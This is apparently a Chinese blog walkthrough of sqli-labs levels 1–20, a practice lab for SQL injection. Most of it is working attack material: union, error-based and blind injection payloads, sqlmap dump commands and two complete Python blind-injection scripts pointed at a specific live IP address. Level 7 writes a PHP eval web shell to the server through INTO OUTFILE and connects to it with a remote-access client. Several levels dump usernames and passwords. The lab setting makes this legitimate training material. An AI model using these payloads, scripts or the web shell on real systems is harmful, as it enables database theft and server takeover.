目录
less 12 :(基于错误的双引号POST型字符型变形的注入)
less-15 (基于bool型/时间延迟单引号POST型盲注)
less-16(基于bool型/时间延迟的双引号POST型盲注)(还有个单括号)
less-19 (基于头部的Referer POST报错注入)
Less1:(基于错误的GET单引号字符型注入)
解题思路:
方法一,union 联合查询注入
1,首先判断是否存在注入 / ?id=1' 回显错误,去掉 ' 发现回显正常,发现是单引号字符型注入
注意此时因为前面报错可以看到有limit 0,1我们可以知道此处如果需要输出我们union查询出的信息要将前面的位占了,即使前面的输出为不存在。可以看到我是将id的值写为负值,然后将输出的位置就让给了后面我们需要输出的信息,这个技巧在有输出限制的时候十分重要。
2,然后用 order by 判断有几列数据
/ ?id = 1' order by 3 %23
回显正常,order by 4 的时候发现回显错误,说明有3 列
我们上面猜测出了字段数为3,但这里输出的只有2个,所以我们union查询要保证字段数一样,不足的补数字(只有mysql可以),或者null。然后第一个是没有输出的,所以我将需要输出的写在了后面两个。
3,将id=1改为一个数据库不存在的id值,如-1,使用union select 1,2,3联合查询语句查看页面是否有显示位。
发现页面先输出了2和3,说明页面有2个显示位
4,然后利用sql查询语句依次爆破出数据库内的数据库名,表名,列名,字段信息
(1) 爆数据库名:
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata %23
上面的爆出全部的数据库名,下面的爆当前的数据库名:
?id=-1' union select 1,2,database() %23
(2) 爆表名:
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23
(3)爆字段:
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
(4)爆内容:
?id=-1' union select 1,2,group_concat(username,0x3a,password) from users--+
0x3a 代表十六进制的 ‘ : ’
方法二:手动报错注入
通过报错回显查询信息
1,爆数据库名:
?id=1' and extractvalue(1,concat(0x7e,(database()))) --+
2,爆表:
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
3,4,直接将 extractvalue(1,concat(0x7e,(……) ) ) 内的内容修改即可。或者用 updatexml(1,concat(0x7e,(……),1)
less 2:(GET型整型注入)
1,查看源代码发现id 直接是整型 且没有 单引号进行闭合
将 id =1 '改为 id =1 其他的 不变 按照less 1 的方法进行爆库
less 3:(基于错误的GET单引号变形字符型注入)
1,输入 id=1 正常,输入id=1' # 回显错误 ,根据报错信息确定咱们输入的内容存放到一对单引号加圆括号中了,猜想一下咱们输入1在数据库语句中的位置,形如select ... from ... where id=(‘1’) ...,在第一题中id=1‘的后面单引号加上),其它保持不变就行了
less 4:(基于错误的GET双引号字符型注入)
1,输入 id =1 回显正常 输入 id =1' 回显正常 输入 id = 1" 回显错误 说明是 双引号闭合型
输入 id = 1" %23 回显错误 说明还有一个 单括号闭合
输入 id = 1") …… 其他不变
less 5: (双注入GET单引号字符型注入)
1,只会显示个 You are in…… 或者语法错误,
输入 id=1 显示 You are in…… 输入 id = 2334 无回显,说明没有回显位,无法使用联合查询
方法一,使用sqlmap 自动注入:
sqlmap 盲注操作:
检测
python sqlmap.py -u "URL ? id=1"
爆数据库名:
python sqlmap.py -u "URL ?id=1" --dbs
爆表名:
python sqlmap.py -u "URL ? id=1" -D dataname --tables
爆字段:
python sqlmap.py -u "URL ? id=1" -D dataname -T table_name --columns
爆内容:
python sqlmap.py -u "URL ? id=1" -D dataname -T table_name -C "id,user,password" --dump
方法二,报错注入:
extractvalue(1,group_concat(0x7E,(……)))报错:
?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where%20 table_schema = database()))) --+
updatexml(1,concat(0x7E,(……)),1)报错注入:(最多回显32位 所以需要在payload中加入 limit 限制 来一行一行输出)(所以不建议使用使用这种报错)
?id=-1' and updatexml(1,concat(0x7E,(payload limit 0,1)),1)--+
方法三 用floor报错注入:
输入:
因为floor最多回显64位字符,所以我们需要放弃group_concat函数,而使用limit 0,1来一个个输出
group_concat()函数的作用:将返回信息拼接成一行显示
limit 0,1 表示输出第一个数据。 0表示输出的起始位置,1表示跨度为1(即输出几个数据,1表示输出一个,2就表示输出两个)
COUNT(*)
函数返回由SELECT语句返回的结果集中的行数
floor 报错的具体用法
例如:查询数据库版本:(这里需要不断改变 limit 来换行)
?id=-1' union select count(*),1, concat('~',(version()),'~', floor(rand()*2)) as a from information_schema.tables group by a--+
爆用户:
?id=-1' union select count(*),1, concat('~',(select user()),'~', floor(rand()*2)) as a from information_schema.tables group by a--+
爆库:
?id=-1'union select count(*),count(*), concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
爆表:(这里需要不断改变 limit 来换行)
?id=-1' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
爆字段:(这里需要不断改变 limit 来换行)
?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
爆内容:(这里需要不断改变 limit 来换行)
?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
由于只允许输出一行,所以 用 limit 1,1 ,修改值进行深入查询
方法四:时间延迟型手工注入
时间延迟型手工注入,正确会延迟,错误没有延迟。id无所谓,又不看回显,可以通过浏览器的刷新提示观察延迟情况,但是id正确的时候的回显有利于观察。
1,爆库长:
?id=1' and if(length(database())=8,sleep(5),1)--+
2,爆库名:(一个字符一个字符爆)
?id=1' and if(left(database(),1)='s',sleep(5),1)--+
3,爆表名:
?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--
4,首先尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中,lucky的是limit 3,1的时候查到了password列,同样的方法查询username
这种方法极其麻烦,不适合使用,仅供参考
可以写一个基于时延的pyhton脚本 具体参照less9
less 6:(双注入GET双引号字符型注入)
1,只用将less 5 中的单引号改为 双引号即可
less 7:(导出文件GET字符型注入)
1,补充:
@@basedir :mysql安装路径
@@datadir :数据库路径
load_file(file_name):读取文件并返回该文件的内容作为一个字符串
使用条件:必须有权限读取并且文件可读,必须指定文件完整的路径
2,由于我不是在本地搭载的环境,所以知道具体的数据存放路径,需要去获取绝对路径,
前面知道 本题是 单引号 加双括号 的闭合方式:
? id=-1')) union select 1,2,@@datadir --+
获取不了 路径
于是去前面的简单的题找个路径:
Less-2/?id=-1 union select 1,@@basedir,@@datadir --+
得到路经:
进行文件导入:(这里要用 \\ )
?id=1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "http://43.247.91.228:84\\var\\lib\\mysql\\www\\123.php"--+
需要注意的是:利用数据库file权限向操作系统写入文件时, 对于相同文件名的文件不能覆盖,所以如果第一次上传chao.php,下次在上传chao.php,就是无效命令了,也就是新的chao,php中的内容并不会覆盖,之前的chao.php
然后用菜刀进行连接
less 8:(布尔型单引号GET盲注)
1,补充:
(1)盲注分为两类:
1.布尔盲注 布尔很明显Ture跟Fales,也就是说它只会根据 你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。
2.时间盲注 界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。
(2)
--batch : 让sqlmap自动输入
--dbms mysql :指定数据库系统为mysql绕过sqlmap的自动检测
-v 显示 等级(0-6)
方法一 :用sqlmap 按部就班的 来,最后一步的payload 为:
sqlmap.py -u "http://43.247.91.228:84/Less-8/?id=2" --dbms mysql --batch -v 1 --dump -D security -T users -C "id,password,username"
方法二: 用脚本进行 盲注
具体操作 参考 https://blog.csdn.net/wy_97/article/details/78169623 的详细操作
less 9:(基于时间的GET单引号盲注)
1,补充:时间盲注 界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。
2,手工注入实在是太麻烦,将手工注入整理一下写出一个脚本 让机器去注入
代码如下:
import requests
value ="abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@_.-"
data=""
url = "http://43.247.91.228:84/Less-9/?id=1' and if((ascii(substr(({0} limit 3,1),{1},1)) = '{2}'),sleep(3),NULL); %23"
url_length="http://43.247.91.228:84/Less-9/?id=1' and if((length(({0} limit 3,1))={1} ),sleep(3),NULL); %23"
def get_length(payload):
for n in range(1,100):
url= url_length.format(payload,n)
print(url)
if(get_respone(url)):
print("[+] length is {0}".format(n))
return n
def get_data(payload,value,length):
for n in range(1,length):
for v in value :
url_data = url.format(payload,n,ord(v))
print(url_data)
if(get_respone(url_data)):
global data
data=data+v
print("[+] data is {0}".format(data))
break
def get_respone(url):
try:
html = requests.get(url,timeout=2)
return False
except Exception as e:
print("......")
return True
databse_payload ="select table_name from information_schema.tables where table_schema = database()"
get_data(databse_payload,value,get_length(databse_payload)+1)
这个脚本你每次只能查询 一个内容,
需要不断改变 4,5,行中 limit x,1 的 x 的数字去查询,
也需要改变 database_payload 去查询不同的信息
less 10:(基于时间的双引号盲注)
1,只用将第9题中的单引号改为双引号,其他用脚本注入就好
注意,在脚本的第 4,5中的所有的单引号都改为双引号
sqlmap post类型注入方法:
方法一:(“-r txt ”方式注入)
1,先用burp suite 抓包,保存为1.txt文件放在桌面上
2,打开sqlmap
查询数据库名:
python sqlmap.py -r "c:\Users\HP\Desktop\1.txt" -p id --dbs
注:-r表示加载一个文件,-p指定参数
之后对应选择输入 : Y N Y
得到:
之后查表:
python2 sqlmap.py -r "c:\Users\HP\Desktop\1.txt" -p id --D skctf_flag --tables
查字段:
python2 sqlmap.py -r "c:\Users\HP\Desktop\1.txt" -p id --D database_name -T table_name --columns
查内容:
python2 sqlmap.py -r "c:\Users\HP\Desktop\1.txt" -p id --D database_name -T table_name -C column_name --dump
less 11: (基于错误的POST型单引号字符型注入)
方法一:用 burp suite 拦截后进行联合查询 :
方法二: 报错型 :extractvalue()
一 在burp suite 中加入报错语句:
查表:
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not in ('emails')))) --+&passwd=admin&submit=Submit
# 不加后边的 and ....只能查询到前几个表,加上not in ()就可以查到其他表了
查字段:
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+&passwd=admin&submit=Submit
查内容: 0x3a 表示十六进制的 “ :”
uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+&passwd=admin&submit=Submit
# 加 not in ()
二 直接在表单中直接输入:(题中的表单输入的字符有长度限制)
username: admin ' and 1= (报错语句) #
password: admin ' and 1 = (报错语句) #
#试过都有回显
#报错语句有很多种 这里用 extractvalue()
例如:
extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))
或者:
usernae: admin'and 1=(updatexml(1,concat(0x3a,(select user())),1))#
password: admin'and 1=(updatexml(1,concat(0x3a,(select user())),1))#
方法三:直接用 sqlmap 自动注入:(必须在python 2 环境下)
python2 sqlmap.py -u "http://43.247.91.228:84/Less-11/" --data "uname=11111 &passwd=111111 &submit=Submit" --dbs --threads 10 --batch --method="POST"
# --data 后面直接跟数据
# --threads 10 线程数,线程越多注入越快,一般不超过10
# --batch 自动使用默认行为,注入过程中不再询问
# -- method 指定类型,可以不写
less 12 :(基于错误的双引号POST型字符型变形的注入)
方法一: sqlmap 自动注入:
playload 跟less 11 的一样
方法二:把单引号单纯换成双引号 测试不行:
查看代码:
可以看到sql查询语句:
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
构造一个能闭合语句而且会报错的payload:
admin " and 1= (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))) and "
前闭合,中间查询,后面报错,应该是这样没错了,实际测试没问题
或者: 从代码中看到是有一个单括号闭合,那用单括号闭合的报错语句应该也行!实测也没问题:
username: "and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) )#
#前面双引号闭合,后面接单引号闭合报错
方法三:用联合查询语句: 只不过用 双引号 和 单括号闭合 : 不再赘述
1") union select 1,database() #
其实也可以构造万能密码: admin") #
对比less 11和less 12 可以发现:
less 11 (单引号号型注入): 当输入 a' 和 a 会报错: 当输入 a" 或a 和 a 时不会报错
less 12 (双引号型注入): 当输入 a" 和 a 会报错 :当输入 a' 或 a 和 a 时不会报错
对比两题 可以不用看源代码就能得出 less 一定是在查询语句中 加入了 括号,导致需要用 双引号和括号闭合
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
less -13(POST单引号变形双注入)
and 1= extractvalue(1,concat(0x7e,(database()))) #
and 1= extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()))) #
union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() #
1,输入admin 和admin 没有回显 , 说明没有回显位 ,所以不可以用 联合查询注入,那用 报错注入
2,输入 admin' 和 admin' 回显:
可以的得出 是 单引号 +单括号的闭合形式
ok 上报错注入的payload:
// 数据库名
admin') and 1= extractvalue(1,concat(0x7e,(database()))) #
// 表名
admin') and 1= extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()))) #
但发现有问题,查询语句被截断了,应该是表单有字符长度限制
那就用 burp suit 呗,
接着查询 column 再进行脱库,
当然也可以用sqlmap 直接注入,实际没问题
python2 sqlmap.py -u "http://43.247.91.228:84/Less-13/" --data "uname=11111 &passwd=111111 &submit=Submit" --dbs --threads 10 --batch --method="POST"
当然 用 延时注入和布尔注入也行
less-14 ((POST单引号变形双注入))
1,输入admin 和admin 还是没回显,跟上题一样 admin' 和 admin' 也没回显
2,输入admin" 和admin" 有报错:
发现是 双引号 闭合的语句
那还用报错注入,把上题的 闭合方式改一下 成功注入!
less-15 (基于bool型/时间延迟单引号POST型盲注)
1,输入 admin 和admin 能进入 但没回显
2,输入 admin' 和 admne' admin" admin" 都没回显 嗯……
3,输入 admin' 1=1 # 能进入,但没回显,那只能用 布尔或者延时型注入了:
手工注入是不可能的,一个字符一个字符试恐怕要 弄到猴年马月了,直接上Python脚本:(两个脚本经过实测没有问题)
延时型
//延时型注入
import requests
import time
value ="0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%&^@_.-!"
result=""
def get_length():#获取数据的长度
for n in range(1, 100):
payload = "admin' and if((length(({0} limit 1,1))={1}),sleep(4),1) #".format(data_payload, n)
data = {"uname": payload, "passwd": "admin", "submit": "submit"}
start_time = time.time()
html = requests.post(url, data=data)
end_time = time.time()
use_time = end_time - start_time #求出请求前后的时间差来判断是否延时了
if use_time > 3:
print("...... data's length is :"+ str(n))
return n
def get_data(length):#获取数据
global result
for n in range(1,length):
for v in value:
payload = "admin' and if((ascii(substr(({0} limit 1,1),{1},1)) = '{2}'),sleep(5),1) #".format(data_payload,n,ord(v))
data = {"uname":payload,"passwd":"admin","submit":"submit"}
start_time = time.time()
requests.post(url,data=data)
end_time = time.time()
use_time = end_time - start_time
# 为啥把sleep时间设这么长呢?原因是我这里时常会出现网络波动,有时候请求时间就有2秒多,为避免出现乱码,所以设长一点可以保证信息的准确性
if use_time >4:
result += v
print("......"+result)
url = "http://43.247.91.228:84/Less-15/"
data_payload ="select database()"
length = get_length() + 1 #注意这里要长度加 1 因为 range(1,10)的范围是 1<= x <10
get_data(length)
print(".....data is :"+ result)
布尔型
import requests
chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_,-.@&%/^!~"
result = ""
def get_length(value): #获取要查询的数据的长度
for n in range(1,100):
payload = "admin' and length(({0})) ={1} #".format(data_payload,n)
data = {"uname":payload,"passwd":"admin"}
html = requests.post(url,data=data)
length = len(html.text)
if length >value:
print("……data length is :" + str(n))
return n
def get_data(data_length,value): #获取数据
global result
for i in range(1,data_length):
for char in chars:
payload = "admin'and ascii(substr(({0}),{1},1))={2} #".format(data_payload,i,ord(char))
data = {"uname":payload,"passwd":"admin"}
html = requests.post(url,data=data)
length = len(html.text)
if length>value: #根据返回长度的不同来判断字符正确与否
result += char
print("…… data is :"+ result)
break
url = "http://43.247.91.228:84/Less-15/"
data_payload = "select group_concat(table_name)from information_schema.tables where table_schema = database()"
value = 1460 # 根据正确访问和错误访问时返回页面文本长度的不同 来设置一个判断值,这个值需要在浏览器中 按f12 查看
length = get_length(value) +1
get_data(length,value)
print(result)
less-16(基于bool型/时间延迟的双引号POST型盲注)(还有个单括号)
1,输入 admin 和admin 能进入 但没回显
2,输入 admin' 和 admne' admin" admin" 都没回显 嗯……
3,输入 admin") 1=1 # 能进入,但没回显,那只能用 布尔或者延时型注入了:
把less-15 的脚本改一下就可以用了
less-17(基于错误的更新查询POST注入)
1,怎么输入都不对,嗯……,瞅了眼源码:
2,原来是对 uname 进行了信息的检查,写了那么长的代码,搞了半天为啥不对passwd 也进行一下 信息过滤呢???
信息过滤函数:
只截取15个字符
get_magic_quotes_gpc()
当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1
当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0
magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。
在magic_quotes_gpc = On的情况下,如果输入的数据有
单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线。
stripslashes()删除由 addslashes() 函数添加的反斜杠
ctype_digit()判断是不是数字,是数字就返回true,否则返回false
mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。
intval() 整型转换
3,输入 admin 和 admin' and 1= extractvalue(1,concat(0x7e,(database()))) #
ok 有报错的信息回显
4,那就用burp suit 对passwd 进行报错注入呗:
// 数据库名
admin' and 1= extractvalue(1,concat(0x7e,(database()))) #
// 表名
admin' and 1= extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema = database()))) #
// column_name
admin' and 1= extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name = 'users'))) #
//脱库
admin' and 1= extractvalue(1,concat(0x7e,(select group_concat(username,0x7e,password)from users ))) #
使用concat 和 group_concat 发现有异常
不能先select出同一表中的某些值,再update这个表(在同一语句中)。
也就是说将select出的结果再通过中间表select套一遍,这样就规避了错误,其实之前在子查询注入中也有用到此方法,同时,还要给多加的一重select赋一个别名
admin' and 1= extractvalue(1,concat(0x7e,(select password from (select password from users limit 1,1) test))) #
less -18 (基于错误的用户代理,头部POST注入)
1,输入admin 和admin,给了user-agent的相关信息
查看了源代码:发现对username和password都进行了过滤
而且还把 用户的 ip 和 user-agent信息存入了数据库中
ok 那就用 burp suit 把 user-agent的信息该为报错注入的payload
脱库:
less-19 (基于头部的Referer POST报错注入)
1,输入 admin 和admin 会回显: Your Referer is:……
2,那将丄题中的 user-agent 注入点 改为 referer 注入:
less-20 (基于错误的cookie头部POST注入)
1,输入admin 和admin :发现是这么个玩意:
瞅一眼源码,发现有cookie的查询语句:
果断选择cookie下手:
在burp-suit中先用order by 语句测一下有几行,
Cookie: uname=admin' order by 3--+ //1-3 正常
Cookie: uname=admin' order by 4--+ //4 不正常 ,确定行数为3
然后就正常的查询,用报错,可以,不知道为什么我用联合查询,查不出来,用报错可以
21~38题在下一篇博客上,正在努力创建,估计在19.8月15号前后完成